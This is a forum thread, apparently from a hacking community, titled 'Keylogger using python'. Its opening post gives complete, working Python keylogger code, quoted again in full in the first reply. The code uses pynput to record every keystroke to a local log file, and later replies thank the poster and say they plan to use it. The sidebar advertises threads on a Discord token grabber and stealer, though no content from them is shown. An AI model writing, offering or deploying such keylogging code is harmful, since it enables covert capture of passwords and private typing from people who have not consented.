Keylogger using python
by specter - Wednesday June 21, 2023 at 04:38 AM
#1
import pynput
from pynput.keyboard import Key, Listener


keys = []


def on_press(key):
  keys.append(key)
  write_file(keys)


def write_file(keys):
  with open('log.txt', 'w') as f:
    for key in keys:
      #removing ''
      k = str(key).replace("'", "")
      f.write(k)
      #explicitly adding a space after every keystroke for readability
      f.write(' ')


def on_release(key):
  if key == Key.delete:
    return False


with Listener(on_press = on_press, on_release = on_release) as listener:
  listener.join()
Reply
#2
(Jun 21, 2023, 04:38 AM)specter Wrote: import pynput
from pynput.keyboard import Key, Listener


keys = []


def on_press(key):
  keys.append(key)
  write_file(keys)


def write_file(keys):
  with open('log.txt', 'w') as f:
    for key in keys:
      #removing ''
      k = str(key).replace("'", "")
      f.write(k)
      #explicitly adding a space after every keystroke for readability
      f.write(' ')


def on_release(key):
  if key == Key.delete:
    return False


with Listener(on_press = on_press, on_release = on_release) as listener:
  listener.join()

nice, i guess?
Reply
#3
golfclap
Reply
#4
(Jul 02, 2023, 08:23 AM)MarkaniPaye Wrote: good post keep posting
Thanks buddy
Reply
#5
I am so going to use this! Thanks for the snipit
Reply
#6
gonna try this on my PC,
Oh yeah!!
Reply
#7
Thanks
Reply
#8
thanks bro
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  How to have CHATGPT PERPLEXITY and OTHERS for FREE2. Amsterdamer 36 3,415 1 hour ago
Last Post: arhmel0
  Discord Token Grabber | Private Stealer | Leaked For Free Piplup 359 59,600 1 hour ago
Last Post: kidspam
  How to catch a pedophile slxppv 288 36,193 10 hours ago
Last Post: ilya313
  How to build GTA V from source depodaapre 102 15,141 Today, 03:25 AM
Last Post: pihuit38293
  (E-Book) OSINT Techniques | How To Uncover Information Online Chapo 58 5,492 Yesterday, 08:20 AM
Last Post: demmama

Forum Jump:


 Users browsing this forum: 1 Guest(s)